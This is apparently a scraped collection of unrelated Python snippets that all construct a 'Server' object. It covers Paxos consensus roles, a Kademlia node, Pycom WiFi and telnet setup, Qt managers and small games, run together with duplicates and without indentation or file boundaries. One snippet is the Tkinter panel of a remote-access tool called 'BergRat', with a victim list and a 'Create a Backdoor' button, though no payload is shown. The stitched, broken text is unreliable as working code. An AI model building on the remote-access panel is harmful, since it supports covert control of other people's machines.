def __init__(self, uid, addr, port):
threading.Thread.__init__(self)
self.address = addr
self.port = port
self.server = Server(self, port, address=addr)
self.queue = queue.Queue()
self.abort = False
self.uid = uid
self.next_post = None
# local log of the Node
self.log = []
self.proposer = Proposer(self, uid, addr, port + 1)
self.acceptor = Acceptor(self, uid, addr, port + 2)
self.learner = Learner(self, uid, addr, port + 3)
self.stopped_proposal_id = None
self.lock = threading.Lock()
self.last_decided_proposer_id = None
self.is_last_decided = False
self.in_propose_time_frame = True
self.daemon = Node.Daemon(self)
class DandelionApp:
def __init__(self, config_file=None):
self._config_manager = ConfigurationManager(config_file)
def start_server(self):
self._server = Server(self._config_manager.local_address,
self._config_manager.local_port,
self._config_manager.server, #info_dict
self._config_manager.content_db)
self._server.start()
def start_content_synchronizer(self):
self._synchronizer = Synchronizer(self._config_manager.local_address,
self._config_manager.local_port,
self._config_manager.type,
self._config_manager.content_db)
self._synchronizer.start()
def run_ui(self):
self._ui = UI(self._config_manager.ui, #dict
self._config_manager.content_db,
self._server,
self._synchronizer)
self._ui.run()
def exit(self):
self._synchronizer.stop()
self._server.stop()
class DandelionApp:
def __init__(self, config_file=None):
self._config_manager = ConfigurationManager(config_file)
def start_server(self):
self._server = Server(
self._config_manager.local_address,
self._config_manager.local_port,
self._config_manager.server, # info_dict
self._config_manager.content_db,
)
self._server.start()
def start_content_synchronizer(self):
self._synchronizer = Synchronizer(
self._config_manager.local_address,
self._config_manager.local_port,
self._config_manager.type,
self._config_manager.content_db,
)
self._synchronizer.start()
def run_ui(self):
self._ui = UI(
self._config_manager.ui, self._config_manager.content_db, self._server, self._synchronizer # dict
)
self._ui.run()
def exit(self):
self._synchronizer.stop()
self._server.stop()
def __init__(self, uid, addr, port):
self.messenger = Messenger(self)
self.server = Server(self, port, address=addr)
self.uid = uid
self.promised_id = ProposalID(-1, -1)
self.accepted_id = ProposalID(-1, -1)
self.accepted_value = None
class ExternalManager(QObject):
EXTERNAL_SERVER_PORT = 22333
def __init__(self, parent=None):
QObject.__init__(self, parent)
self.server = Server(self.EXTERNAL_SERVER_PORT)
self.dispatcher = ExternalDispatcher(self.server)
self.server.setDispatcher(self.dispatcher)
def start(self):
self.server.start()
class WebchatManager(QObject):
WEBCHAT_SERVER_PORT = 22334
def __init__(self, parent=None):
QObject.__init__(self, parent)
self.server = Server(self.WEBCHAT_SERVER_PORT)
self.dispatcher = WebchatDispatcher(self.server)
self.server.setDispatcher(self.dispatcher)
def start(self):
self.server.start()
class WebchatManager(QObject):
WEBCHAT_SERVER_PORT = 22334
def __init__(self, parent=None):
QObject.__init__(self, parent)
self.server = Server(self.WEBCHAT_SERVER_PORT)
self.dispatcher = WebchatDispatcher(self.server)
self.server.setDispatcher(self.dispatcher)
def start(self):
self.server.start()
class ExternalManager(QObject):
EXTERNAL_SERVER_PORT = 22333
def __init__(self, parent=None):
QObject.__init__(self, parent)
self.server = Server(self.EXTERNAL_SERVER_PORT)
self.dispatcher = ExternalDispatcher(self.server)
self.server.setDispatcher(self.dispatcher)
def start(self):
self.server.start()
def __init__(self, owner, uid, addr, port):
self.messenger = Messenger(self)
self.server = Server(self, port, address=addr)
self.owner = owner
self.uid = uid
self.quorum_size = 3
self.proposals = None # maps proposal_id => [accept_count, retain_count, value]
self.acceptors = None # maps from_uid => last_accepted_proposal_id
self.final_value = None
self.final_proposal_id = None
def setup_ap():
WLAN().init(mode=WLAN.AP,
ssid=coda_common.CODA_CONFIG["wifi_manager_ssid"],
auth=(
WLAN.WPA2,
coda_common.CODA_CONFIG["wifi_manager_pwd"],
),
channel=7,
antenna=WLAN.INT_ANT)
Server().deinit()
Server().init(login=(coda_common.CODA_CONFIG["server_userid"],
coda_common.CODA_CONFIG["server_pwd"]),
timeout=60)
def __init__(self, uid, addr, port):
self.messenger = Messenger(self)
self.server = Server(self, port, address=addr)
self.uid = uid
self.proposer_uid = uid
self.quorum_size = 3
self.proposed_value = None
self.proposal_id = None
self.last_accepted_id = (-1, -1)
self.next_proposal_number = 1
self.promises_rcvd = None
def __init__(self, master, address, port, *args, **kwargs):
# Pass the arguments to the superclass
tk.Frame.__init__(self, master, *args, **kwargs)
self.master = master
# Some GUI Configurations
self.master.resizable(False, False)
self.master.title("BergRat")
self.master.geometry("650x650")
# Create a TreeView and add som columns
self.tree = ttk.Treeview(self)
self.tree["columns"] = ("one", "two", "three", "four")
self.tree.heading("#0", text="ID", anchor="w")
self.tree.column("#0", stretch=tk.YES, width=100, anchor="w")
self.tree.column("one", width=100)
self.tree.heading("one", text="IP")
self.tree.column("two", width=100)
self.tree.heading("two", text="User")
self.tree.column("three", width=100)
self.tree.heading("three", text="Online")
self.tree.column("four", width=100)
self.tree.heading("four", text="Install Date")
# Create Ba button to create a Backdoor
self.button = tk.Button(self,
text="Create a Backdoor",
command=self.create_backdoor)
# Pack all the objects
self.tree.pack(fill="both", expand=True)
self.button.pack()
# Bind the double-click in a element from TreeView
self.tree.bind("<Double-1>", lambda event: self.double_click_tree())
# After all widgets being packed, the master is show
self.master.deiconify()
# Start the network class
self.Network = Server(address, port)
# Start a Get-Sessions Thread
t_get_sessions = Thread(target=self.get_sessions)
t_get_sessions.daemon = True
t_get_sessions.start()
def __init__(self):
from network import Server
import socket
server = Server()
self.is_telnet_running = server.isrunning()
server.deinit()
self.poll = select.poll()
listening = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
listening.bind(('', 23))
listening.listen(1)
self.socket = listening.accept()[0]
listening.close()
self.poll.register(self.socket, select.POLLIN)
self.socket.setblocking(False)
self.write = self.socket.write
def __init__(self):
from network import Server
import socket
server = Server()
self.is_telnet_running = server.isrunning()
server.deinit()
self.poll = select.poll()
listening = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
listening.bind(('', 23))
listening.listen(1)
self.socket = listening.accept()[0]
listening.close()
self.poll.register(self.socket, select.POLLIN)
self.socket.setblocking(False)
self.write = self.socket.write
def destroy(self):
self.socket.close()
if self.is_telnet_running is True:
from network import Server
Server().init(
login=telnet_login
) # telnet_login is appended to the code at upload time
def start_server(self):
self._server = Server(
self._config_manager.local_address,
self._config_manager.local_port,
self._config_manager.server, # info_dict
self._config_manager.content_db,
)
self._server.start()
def __init__(self, controller=None):
Service.__init__(self, 'dispatcher')
self.handlers[Message.TYPE_LOGIN] = self.handle_login
self.handlers[Message.TYPE_IMAGE] = self.handle_image
self.handlers[Message.TYPE_RESULT] = self.handle_result
self.server = Server(self, cfg.SERVER_PORT)
self.protocols = {}
self.nodes = {}
if cfg.DASHBOARD:
self.dashboard = Dashboard()
self.dashboard.start()
else:
self.dashboard = None
measure_period = float(cfg.CONTROLLER_LOOP_TIME)/cfg.MEASURES_PER_LOOP
self.monitor = Monitor(self.process_measurements, measure_period)
self.monitor.register_item(self.ITEM_FPS, Monitor.ITEM_RATE)
self.monitor.register_item(self.ITEM_MAKESPAN, Monitor.ITEM_AVG)
self.monitor.register_item(self.ITEM_THROUGHPUT, Monitor.ITEM_RATE)
self.controller = controller
self.controller.dashboard = self.dashboard
self.controller.dispatcher = self
if self.dashboard:
self.dashboard.controller = controller
self.imagebuf = Queue.Queue() # Buffer of encoded images
# (time stamp, image data)
# Initialize probe to blank image
self.probe_image = self.generate_probe_image()
self.tokens = Queue.Queue()
self.job_id = 0
self.job_image_cache = {}
self.sub_loop = 0
return
def __init__(self, uid, addr, port):
self.messenger = Messenger(self)
self.server = Server(self, port, address=addr)
self.uid = uid
self.promised_id = ProposalID(-1, -1)
self.accepted_id = ProposalID(-1, -1)
self.accepted_value = None
def main():
"""Entry point for our simple vlc player
"""
app = QtWidgets.QApplication(sys.argv)
player = Player()
_ = Server("localhost", 10000, player.data_queue)
player.show()
player.resize(640, 480)
class Acceptor(object):
def __init__(self, uid, addr, port):
self.messenger = Messenger(self)
self.server = Server(self, port, address=addr)
self.uid = uid
self.promised_id = ProposalID(-1, -1)
self.accepted_id = ProposalID(-1, -1)
self.accepted_value = None
def reset(self):
# self.messenger = Messenger(self)
# self.server = Server(self, port)
self.server.queue = queue.Queue()
self.promised_id = ProposalID(-1, -1)
self.accepted_id = ProposalID(-1, -1)
self.accepted_value = None
def start(self):
self.server.start()
def fail(self):
self.server.do_abort()
def recover(self):
self.reset()
self.server.recover()
def recv_message(self, msg):
if msg.type == Message.MSG_PREPARE:
self.recv_prepare(msg.from_uid,
msg.data) # the data is simply one tuple
elif msg.type == Message.MSG_ACCEPT:
self.recv_accept_request(msg.from_uid, msg.data[0], msg.data[1])
def recv_prepare(self, from_uid, proposal_id):
"""
Called when a Prepare message is received from a Proposer
"""
if proposal_id == self.promised_id:
# Duplicate prepare message
self.messenger.send_promise(from_uid, proposal_id,
self.accepted_id, self.accepted_value)
elif proposal_id > self.promised_id:
self.promised_id = proposal_id
self.messenger.send_promise(from_uid, proposal_id,
self.accepted_id, self.accepted_value)
def recv_accept_request(self, from_uid, proposal_id, value):
"""
Called when an Accept! message is received from a Proposer
"""
if proposal_id >= self.promised_id:
self.promised_id = proposal_id
self.accepted_id = proposal_id
self.accepted_value = value
self.messenger.send_accepted(proposal_id, self.accepted_value)
def test_play_match(self):
server = Server()
server.start(False)
client1 = Client('localhost', 8081)
client2 = Client('localhost', 8081)
client1_moves = [(1, 1), (2, 2), (3, 3)]
client2_moves = [(3, 1), (3, 2)]
client1.on_move_required = lambda ct: (client1_moves
if ct else client2_moves).pop(0)
client1.on_game_over = lambda winner: self.assertTrue(winner)
client2.on_move_required = lambda ct: (client1_moves
if ct else client2_moves).pop(0)
client2.on_game_over = lambda winner: self.assertTrue(winner)
client1.start(False)
client2.start(False)
client1.wait()
client2.wait()
server.stop()
def __init__(self, uid, addr, port):
self.messenger = Messenger(self)
self.server = Server(self, port, address=addr)
self.uid = uid
self.proposer_uid = uid
self.quorum_size = 3
self.proposed_value = None
self.proposal_id = None
self.last_accepted_id = (-1, -1)
self.next_proposal_number = 1
self.promises_rcvd = None
def run(ip, port):
"""
handler = logging.StreamHandler()
formatter = logging.Formatter('%(asctime)s - %(name)s - %(levelname)s - %(message)s')
handler.setFormatter(formatter)
log = logging.getLogger('kademlia')
log.addHandler(handler)
log.setLevel(logging.DEBUG)
"""
loop = asyncio.get_event_loop()
loop.set_debug(True)
server = Server(storage=storage.AwesomeStorage())
loop.run_until_complete(server.listen(int(port), ip))
try:
loop.run_forever()
except KeyboardInterrupt:
pass
finally:
server.stop()
loop.close()
class Acceptor(object):
def __init__(self, uid, addr, port):
self.messenger = Messenger(self)
self.server = Server(self, port, address=addr)
self.uid = uid
self.promised_id = ProposalID(-1, -1)
self.accepted_id = ProposalID(-1, -1)
self.accepted_value = None
def reset(self):
# self.messenger = Messenger(self)
# self.server = Server(self, port)
self.server.queue = queue.Queue()
self.promised_id = ProposalID(-1, -1)
self.accepted_id = ProposalID(-1, -1)
self.accepted_value = None
def start(self):
self.server.start()
def fail(self):
self.server.do_abort()
def recover(self):
self.reset()
self.server.recover()
def recv_message(self, msg):
if msg.type == Message.MSG_PREPARE:
self.recv_prepare(msg.from_uid, msg.data) # the data is simply one tuple
elif msg.type == Message.MSG_ACCEPT:
self.recv_accept_request(msg.from_uid, msg.data[0], msg.data[1])
def recv_prepare(self, from_uid, proposal_id):
"""
Called when a Prepare message is received from a Proposer
"""
if proposal_id == self.promised_id:
# Duplicate prepare message
self.messenger.send_promise(from_uid, proposal_id, self.accepted_id, self.accepted_value)
elif proposal_id > self.promised_id:
self.promised_id = proposal_id
self.messenger.send_promise(from_uid, proposal_id, self.accepted_id, self.accepted_value)
def recv_accept_request(self, from_uid, proposal_id, value):
"""
Called when an Accept! message is received from a Proposer
"""
if proposal_id >= self.promised_id:
self.promised_id = proposal_id
self.accepted_id = proposal_id
self.accepted_value = value
self.messenger.send_accepted(proposal_id, self.accepted_value)
def run(self):
server = Server(self.port)
server.start()
while not self.stopped:
requests = server.get_requests()
for r in requests:
nums = r.split(',')
self.connected = True
if len(nums) == 2:
self.connected = True
self.depth_queue.append(int(nums[0]))
self.angle = int(nums[1])
response = "{},{},{},{},{}\n".format(
self.convert(-self.m_front_left),
self.convert(-self.m_front_right),
self.convert(-self.m_back_left),
self.convert(-self.m_back_right),
self.convert(self.m_tail))
response = response.encode('utf-8')
server.offer_data(r, response)
break
server.stop()
def main(stdscr):
finished = False
gui = CursesInterface(stdscr)
inpt = Input(stdscr, 0)
menu = MenuScreen()
game = Game()
gui.initialize()
inpt.initialize()
while not menu.finished:
events = inpt.poll_events()
gui.clear()
menu.update(events)
render_menu(gui, menu)
gui.refresh()
time.sleep(0.1)
if menu.current_idx == 0:
gamewrapper = LocalVsGameWrapper(inpt, game)
elif menu.current_idx == 1:
gamewrapper = LocalAiGameWrapper(inpt, game)
elif menu.current_idx == 2:
gamewrapper = NetworkedGameWrapper(inpt, game, Server(), 1, 2)
else:
gamewrapper = NetworkedGameWrapper(inpt, game,
Client(menu.get_server_ip_str()), 2,
1)
gamewrapper.initialize()
while not game.finished:
gamewrapper.update()
gui.clear()
render_game(gui, game)
time.sleep(0.05)
gamewrapper.cleanup()
while True:
events = inpt.poll_events()
if events:
return
time.sleep(0.1)
class Proposer(object):
def __init__(self, owner, uid, addr, port):
self.messenger = Messenger(self)
self.server = Server(self, port, address=addr)
self.owner = owner
self.uid = uid
self.proposer_uid = uid
self.quorum_size = 3
self.proposed_value = None
self.proposal_id = None
self.last_accepted_id = (-1, -1)
self.next_proposal_number = 1
self.promises_rcvd = None
def reset(self):
self.server.queue = queue.Queue()
self.proposed_value = None
self.proposal_id = None
self.last_accepted_id = (-1, -1)
# self.next_proposal_number = 1
self.promises_rcvd = None
def start(self):
self.server.start()
def fail(self):
self.server.do_abort()
def recover(self):
self.reset()
self.server.recover()
def set_proposal(self, value):
"""
Sets the proposal value for this node iff this node is not already aware of
another proposal having already been accepted.
"""
if self.proposed_value is None:
self.proposed_value = value
def propose(self):
"""
Send the proposal (uid, proposed_value) over all acceptors
"""
self.owner.log.append(LogEntry(self.uid, self.proposed_value, False))
self.messenger.send_proposal(self.uid, self.proposed_value)
def recv_message(self, msg):
print('illegal!')
def change_access(self, user=None, passwrd=None):
"""change_access - change password for telnet and ftp access"""
if (user is None) or (passwrd is None):
print('WifiManager:: username and password must be specified')
return
server = Server() # from network
# disable the server
server.deinit()
# enable the server again with new credentials
# for ftp and telnet, not USB
server.init(login=(user, passwrd), timeout=600)
print_debug('WifiManager::password {} is changed...'.format(user))
def change_access(self, user=None, passwrd=None):
"""change_access - change password for telnet and ftp access"""
if (user == None) or (passwrd == None):
print('WifiManager:: username and password must be specified')
return
server = Server() # from network
# disable the server
server.deinit()
# enable the server again with new credentials
# for example: remote access, ftp and telnet, not USB
server.init(login=(user, passwrd), timeout=600)
if USE_DEBUG:
print('WifiManager::password is changed...')
class Acceptor(object):
def __init__(self, owner, uid, addr, port):
self.messenger = Messenger(self)
self.server = Server(self, port, address=addr)
self.owner = owner
self.uid = uid
self.promised_id = ProposalID(-1, -1)
self.accepted_id = ProposalID(-1, -1)
self.accepted_value = None
def reset(self):
# self.messenger = Messenger(self)
# self.server = Server(self, port)
self.server.queue = queue.Queue()
self.promised_id = ProposalID(-1, -1)
self.accepted_id = ProposalID(-1, -1)
self.accepted_value = None
def start(self):
self.server.start()
def fail(self):
self.server.do_abort()
def recover(self):
self.reset()
self.server.recover()
def recv_message(self, msg):
if msg.type == Message.MSG_ACCEPT:
self.recv_accept_request(msg.from_uid, msg.data[0], msg.data[1])
def recv_accept_request(self, from_uid, proposal_uid, value): # from_uid is same as proposal uid
"""
Called when an Accept! message is received from a Proposer
"""
# write log immediately
self.owner.log.append(LogEntry(proposal_uid, value, False))
# broadcast for voting
self.messenger.send_accepted(proposal_uid, value)
if wlan.isconnected():
coda_common.CODA_CONFIG["lastssid"] = SSID
coda_common.CODA_CONFIG["lastappwd"] = PWD
coda_common.coda_save_config()
break
else:
pass
else:
pass
if wlan.isconnected():
coda_common.led_g()
update_ap_list(SSID, PWD)
print("ip:", wlan.ifconfig()[0])
server = Server()
server.deinit()
server.init(login=(coda_common.CODA_CONFIG["server_userid"],
coda_common.CODA_CONFIG["server_pwd"]),
timeout=60)
time.sleep(1)
coda_common.led_off()
AP_LIST = None
SCAN_LIST = None
gc.collect()
if coda_common.CODA_CONFIG[
"enable_app_main"] and coda_common.CODA_CONFIG["app_main"] > "":
execfile(coda_common.CODA_CONFIG["app_main"])
def __init__(self, parent=None):
QObject.__init__(self, parent)
self.server = Server(self.EXTERNAL_SERVER_PORT)
self.dispatcher = ExternalDispatcher(self.server)
self.server.setDispatcher(self.dispatcher)
import sys
import logging
import asyncio
import storage
from network import Server
# Usage: <python3> <node_ip> <node_port> <bootstrap_node_ip> <bootstrap_node_port>
loop = asyncio.get_event_loop()
loop.set_debug(True)
server = Server(storage=storage.AwesomeStorage())
loop.run_until_complete(server.listen(int(sys.argv[2]), sys.argv[1]))
bootstrap_node = (sys.argv[3], int(sys.argv[4]))
loop.run_until_complete(server.bootstrap([bootstrap_node]))
try:
loop.run_forever()
except KeyboardInterrupt:
pass
finally:
server.stop()
loop.close()
help='Port to listen to'
)
parser.add_argument(
'-v',
'--verbose',
action='store_true',
help='Be verbose'
)
args = parser.parse_args()
logging.basicConfig(level=logging.DEBUG if args.verbose else logging.INFO)
server = Server(
args.field_size,
args.row_length,
args.host,
args.port
)
def signal_handler(sig, frame):
server.stop()
signal.signal(signal.SIGINT, signal_handler)
server.start()
class Learner(object):
def __init__(self, owner, uid, addr, port):
self.messenger = Messenger(self)
self.server = Server(self, port, address=addr)
self.owner = owner
self.uid = uid
self.quorum_size = 3
self.proposals = None # maps proposal_id => [accept_count, retain_count, value]
self.acceptors = None # maps from_uid => last_accepted_proposal_id
self.final_value = None
self.final_proposal_id = None
def reset(self):
self.server.queue = queue.Queue()
self.proposals = None # maps proposal_id => [accept_count, retain_count, value]
self.acceptors = None # maps from_uid => last_accepted_proposal_id
self.final_value = None
self.final_proposal_id = None
def start(self):
self.server.start()
def fail(self):
self.server.do_abort()
def recover(self):
self.reset()
self.server.recover()
@property
def complete(self):
return self.final_proposal_id is not None
def recv_message(self, msg):
if msg.type == Message.MSG_DECIDE:
self.recv_accepted(msg.src, msg.data[0], msg.data[1])
def recv_accepted(self, from_uid, proposal_id, accepted_value):
"""
Called when an Accepted message is received from an acceptor
"""
if self.final_value is not None:
return # already done
if self.proposals is None:
self.proposals = dict()
self.acceptors = dict()
last_proposal_number = self.acceptors.get(from_uid)
if last_proposal_number is not None and not proposal_id > last_proposal_number:
return # Old message
self.acceptors[from_uid] = proposal_id
if last_proposal_number is not None:
old_proposal = self.proposals[last_proposal_number]
old_proposal[1] -= 1
if old_proposal[1] == 0:
del self.proposals[last_proposal_number]
if not proposal_id in self.proposals:
self.proposals[proposal_id] = [0, 0, accepted_value]
t = self.proposals[proposal_id]
assert accepted_value == t[2], 'Value mismatch for single proposal!'
t[0] += 1
t[1] += 1
if t[0] == self.quorum_size:
self.final_value = accepted_value
self.final_proposal_id = proposal_id
self.proposals = None
self.acceptors = None
self.messenger.on_resolution(proposal_id, accepted_value, self.owner.log)
class Node(threading.Thread):
class Daemon(threading.Thread):
def __init__(self, owner):
threading.Thread.__init__(self)
self.owner = owner
#self.counter = time.time()
def run(self):
while True:
if self.owner.in_propose_time_frame:
#if time.time() - self.counter > 2:
# print('Daemon is alive!')
# self.counter = time.time()
self.owner.in_propose_time_frame = False
if self.owner.last_decided_proposer_id == self.owner.uid or self.owner.next_post is None:
self.owner.next_post = self.owner.queue.get(True)
print('Propose next available value {}.'.format(self.owner.next_post))
self.owner.proposer.set_proposal(self.owner.next_post)
self.owner.proposer.prepare()
elif self.owner.next_post is not None:
print('Propose old value {}'.format(self.owner.next_post))
self.owner.proposer.set_proposal(self.owner.next_post)
self.owner.proposer.prepare()
def __init__(self, uid, addr, port):
threading.Thread.__init__(self)
self.address = addr
self.port = port
self.server = Server(self, port, address=addr)
self.queue = queue.Queue()
self.abort = False
self.uid = uid
self.next_post = None
# local log of the Node
self.log = []
self.proposer = Proposer(uid, addr, port + 1)
self.acceptor = Acceptor(uid, addr, port + 2)
self.learner = Learner(self, uid, addr, port + 3)
self.stopped_proposal_id = None
self.lock = threading.Lock()
self.last_decided_proposer_id = None
self.in_propose_time_frame = True
self.daemon = Node.Daemon(self)
def recv_message(self, msg):
if msg.type == Message.MSG_STOP and msg.data[0] != self.stopped_proposal_id:
# set local log
accepted_log = msg.data[2]
if len(accepted_log) > len(self.log):
self.log = accepted_log
if len(self.log) > 0:
if self.log[-1] != msg.data[1]:
self.log.append(msg.data[1])
else:
self.log.append(msg.data[1])
print('Log after this round: ', self.log)
self.stopped_proposal_id = msg.data[0]
self.proposer.reset()
self.acceptor.reset()
self.learner.reset()
self.last_decided_proposer_id = msg.data[0].uid
time.sleep(3)
self.in_propose_time_frame = True
def fail(self):
self.proposer.fail()
self.acceptor.fail()
self.learner.fail()
self.abort = True
self.server.do_abort()
def recover(self):
self.server.recover()
self.proposer.recover()
self.acceptor.recover()
self.learner.recover()
self.abort = False
def run(self):
self.server.start()
self.proposer.start()
self.acceptor.start()
self.learner.start()
self.daemon.start()
if len(sys.argv) != 4:
print("Usage: python get.py <bootstrap node> <bootstrap port> <key>")
sys.exit(1)
# set up logging to file
logging.basicConfig(
level=logging.DEBUG,
format='%(asctime)s - %(name)s - %(levelname)s - %(message)s',
datefmt='%m-%d %H:%M',
filemode='w')
# define a Handler which writes INFO messages or higher to the sys.stderr
console = logging.StreamHandler()
console.setLevel(logging.INFO)
# add the handler to the root logger
logging.getLogger(__name__).addHandler(console)
loop = asyncio.get_event_loop()
loop.set_debug(True)
server = Server()
loop.run_until_complete(server.listen(8469))
bootstrap_node = (sys.argv[1], int(sys.argv[2]))
loop.run_until_complete(server.bootstrap([bootstrap_node]))
result = loop.run_until_complete(server.get(sys.argv[3]))
server.stop()
loop.close()
print("Get result:", pickle.loads(result))
ssid=coda_common.CODA_CONFIG["wifi_manager_ssid"],
auth=(
WLAN.WPA2,
coda_common.CODA_CONFIG["wifi_manager_pwd"],
),
channel=7,
antenna=WLAN.INT_ANT)
Server().deinit()
Server().init(login=(coda_common.CODA_CONFIG["server_userid"],
coda_common.CODA_CONFIG["server_pwd"]),
timeout=60)
#begin code
server = Server()
gc.enable()
time.sleep(1)
wlan = WLAN()
try:
wlan.disconnect()
except:
pass
wlan.init(mode=WLAN.STA)
time.sleep(1)
nets = []
netlist = []
class Learner(object):
class AsynchronousMessenger(threading.Thread):
def __init__(self, owner, proposal_uid, value, log=None):
threading.Thread.__init__(self)
self.owner = owner
self.proposal_uid = proposal_uid
self.value = value
self.log = log
def run(self):
time.sleep(3)
self.owner.proposals = None
self.owner.acceptors = None
self.owner.messenger.on_resolution(self.proposal_uid, self.value, self.log)
def __init__(self, owner, uid, addr, port):
self.messenger = Messenger(self)
self.server = Server(self, port, address=addr)
self.owner = owner
self.uid = uid
self.quorum_size = 3
self.proposals = None # maps proposal_id => [accept_count, retain_count, value]
self.acceptors = None # maps from_uid => last_accepted_proposal_id
self.final_value = None
self.final_proposal_id = None
def reset(self):
self.server.queue = queue.Queue()
self.proposals = None # maps proposal_id => [accept_count, retain_count, value]
self.acceptors = None # maps from_uid => last_accepted_proposal_id
self.final_value = None
self.final_proposal_id = None
def start(self):
self.server.start()
def fail(self):
self.server.do_abort()
def recover(self):
self.reset()
self.server.recover()
@property
def complete(self):
return self.final_proposal_id is not None
def recv_message(self, msg):
if msg.type == Message.MSG_DECIDE:
self.recv_accepted(msg.src, msg.data[0], msg.data[1])
def recv_accepted(self, from_uid, proposal_uid, accepted_value):
"""
Called when an Accepted message is received from an acceptor
"""
#if self.final_value is not None:
# return # already done
if self.proposals is None:
self.proposals = dict()
self.proposals[self.uid] = 1
self.acceptors = dict()
if from_uid in self.acceptors:
if accepted_value in self.acceptors[from_uid]:
return
else:
self.acceptors[from_uid].add(accepted_value)
else:
self.acceptors[from_uid] = {accepted_value}
# self.proposals: map from proposal_uid => (num_votes, accepted_value)
if proposal_uid in self.proposals:
self.proposals[proposal_uid] += 1
else:
self.proposals[proposal_uid] = 1
if self.proposals[proposal_uid] == self.quorum_size:
accepted_value_tuple = LogEntry(proposal_uid, accepted_value, False)
accepted_value_tuple_true = LogEntry(proposal_uid, accepted_value, True)
is_found = False
i = len(self.owner.log) - 1
while i >= 0:
if self.owner.log[i] == accepted_value_tuple_true:
is_found = True
if self.owner.log[i] == accepted_value_tuple:
self.owner.log[i].is_accepted = True
is_found = True
break
i -= 1
if not is_found:
accepted_value_tuple.is_accepted = True
self.owner.log.append(accepted_value_tuple)
m = Learner.AsynchronousMessenger(self, proposal_uid, accepted_value, self.owner.log)
m.start()
def __init__(self, parent=None):
QObject.__init__(self, parent)
self.server = Server(self.WEBCHAT_SERVER_PORT)
self.dispatcher = WebchatDispatcher(self.server)
self.server.setDispatcher(self.dispatcher)
class Proposer(object):
def __init__(self, uid, addr, port):
self.messenger = Messenger(self)
self.server = Server(self, port, address=addr)
self.uid = uid
self.proposer_uid = uid
self.quorum_size = 3
self.proposed_value = None
self.proposal_id = None
self.last_accepted_id = (-1, -1)
self.next_proposal_number = 1
self.promises_rcvd = None
def reset(self):
self.server.queue = queue.Queue()
self.proposed_value = None
self.proposal_id = None
self.last_accepted_id = (-1, -1)
# self.next_proposal_number = 1
self.promises_rcvd = None
def start(self):
self.server.start()
def fail(self):
self.server.do_abort()
def recover(self):
self.reset()
self.server.recover()
def set_proposal(self, value):
"""
Sets the proposal value for this node iff this node is not already aware of
another proposal having already been accepted.
"""
if self.proposed_value is None:
self.proposed_value = value
def prepare(self):
"""
Sends a prepare request to all Acceptors as the first step in attempting to
acquire leadership of the Paxos instance.
"""
self.promises_rcvd = set()
self.proposal_id = ProposalID(self.next_proposal_number, self.proposer_uid)
self.next_proposal_number += 1
self.messenger.send_prepare(self.proposal_id)
def recv_message(self, msg):
if msg.type == Message.MSG_PROMISE:
self.recv_promise(msg.src, msg.data[0], msg.data[1], msg.data[2])
def recv_promise(self, from_uid, proposal_id, prev_accepted_id, prev_accepted_value):
"""
Called when a Promise message is received from an Acceptor
"""
# Ignore the message if it's for an old proposal or we have already received
# a response from this Acceptor
if proposal_id != self.proposal_id or from_uid in self.promises_rcvd:
return
self.promises_rcvd.add(from_uid)
if prev_accepted_id > self.last_accepted_id:
self.last_accepted_id = prev_accepted_id
# If the Acceptor has already accepted a value, we MUST set our proposal
# to that value.
if prev_accepted_value is not None:
self.proposed_value = prev_accepted_value
if len(self.promises_rcvd) == self.quorum_size:
if self.proposed_value is not None:
self.messenger.send_accept(self.proposal_id, self.proposed_value)
class Node(threading.Thread):
class Daemon(threading.Thread):
def __init__(self, owner):
threading.Thread.__init__(self)
self.owner = owner
def run(self):
while True:
if self.owner.abort:
continue
if self.owner.in_propose_time_frame:
self.owner.in_propose_time_frame = False
#if self.owner.is_last_decided or self.owner.next_post is None:
self.owner.is_last_decided = False
self.owner.next_post = self.owner.queue.get(True)
print('Propose next available value {}.'.format(self.owner.next_post))
self.owner.proposer.set_proposal(self.owner.next_post)
self.owner.proposer.propose()
#elif self.owner.next_post is not None:
# print('Propose old value {}'.format(self.owner.next_post))
# self.owner.proposer.set_proposal(self.owner.next_post)
# self.owner.proposer.propose()
def __init__(self, uid, addr, port):
threading.Thread.__init__(self)
self.address = addr
self.port = port
self.server = Server(self, port, address=addr)
self.queue = queue.Queue()
self.abort = False
self.uid = uid
self.next_post = None
# local log of the Node
self.log = []
self.proposer = Proposer(self, uid, addr, port + 1)
self.acceptor = Acceptor(self, uid, addr, port + 2)
self.learner = Learner(self, uid, addr, port + 3)
self.stopped_proposal_id = None
self.lock = threading.Lock()
self.last_decided_proposer_id = None
self.is_last_decided = False
self.in_propose_time_frame = True
self.daemon = Node.Daemon(self)
def recv_message(self, msg):
with self.lock:
#if msg.type == Message.MSG_STOP and msg.data[0].number != self.stopped_proposal_id:
if msg.type == Message.MSG_STOP and not self.is_last_decided:
self.is_last_decided = True
# set local log
accepted_log = msg.data[2]
if len(accepted_log) > len(self.log):
self.log = accepted_log
i = len(self.log) - 1
while i >= 0:
if not self.log[i].is_accepted:
del self.log[i]
i -= 1
#print('Log after this round on site {}: '.format(self.uid))
#print('[', end='')
#for log_entry in self.log:
# print(log_entry, end=', ')
#
#print(']\n')
# self.stopped_proposal_id = msg.data[0].number
self.proposer.reset()
self.acceptor.reset()
self.learner.reset()
#self.last_decided_proposer_id = msg.data[0]
#if msg.data[0] == self.uid:
time.sleep(6)
self.in_propose_time_frame = True
def fail(self):
self.proposer.fail()
self.acceptor.fail()
self.learner.fail()
self.abort = True
self.server.do_abort()
def recover(self):
self.server.recover()
self.proposer.recover()
self.acceptor.recover()
self.learner.recover()
self.abort = False
def run(self):
self.server.start()
self.proposer.start()
self.acceptor.start()
self.learner.start()
self.daemon.start()
pygame.init()
# Set the width and height of the screen [width, height]
size = (WIDTH, HEIGHT)
screen = pygame.display.set_mode(size)
pygame.display.set_caption("Configuration Space Visualization Tool")
# Loop until the user clicks the close button.
done = False
# Used to manage how fast the screen updates
clock = pygame.time.Clock()
data_queue = queue.Queue()
_ = Server("localhost", 10000, data_queue)
ALPHA = 0
THETA = 0
RADIUS = 30
ORIGIN_X = WIDTH // 2
ORIGIN_Y = HEIGHT // 2
robot = Robot((ORIGIN_X, ORIGIN_Y), RADIUS)
# Start the scatterplot process
subprocess.Popen(["python", "plot.py"])
# Main game loop
while not done:
# Main event loop
import pycom
import machine
import ubinascii
from network import WLAN
from network import Bluetooth
from network import Server
from pytrack import Pytrack
import uos
from machine import Timer
import math
wlan = WLAN()
wlan.deinit()
bt = Bluetooth()
bt.deinit()
server = Server()
server.deinit()
py = Pytrack()
